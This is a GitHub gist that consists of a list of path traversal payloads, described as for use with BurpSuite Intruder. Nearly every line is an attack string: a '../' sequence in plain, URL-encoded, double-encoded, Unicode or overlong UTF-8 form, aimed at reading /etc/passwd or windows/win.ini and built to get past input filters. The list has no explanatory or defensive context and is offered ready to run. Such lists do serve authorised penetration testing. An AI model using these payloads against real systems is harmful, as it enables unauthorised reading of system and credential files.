Skip to content

Instantly share code, notes, and snippets.

@samduy
Created January 21, 2018 15:41
Show Gist options
  • Save samduy/8034b3227d472968e23f3817612a6729 to your computer and use it in GitHub Desktop.
Save samduy/8034b3227d472968e23f3817612a6729 to your computer and use it in GitHub Desktop.
List of common path traversal attacks (can be used with BurpSuite Instruder)
../../../../../../../../../../../../etc/passwd
../../../../../../../../../../../../windows/win.ini
%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc/passwd
%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2f%252e%252e%2fetc/passwd
%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252f%2e%2e%252fetc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cetc/passwd
%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cwindows%255cwin.ini
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc/passwd
%u002e%u002e%u2216/windows/win.ini
%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%af%c0%2e%c0%2e%c0%afetc/passwd
%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%af%e0%40%ae%e0%40%ae%c0%afetc/passwd
%c0ae%c0ae%c0%af%c0ae%c0ae%c0%af%c0ae%c0ae%c0%af%c0ae%c0ae%c0%af%c0ae%c0ae%c0%af%c0ae%c0ae%c0%af%c0ae%c0ae%c0%afetc/passwd
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment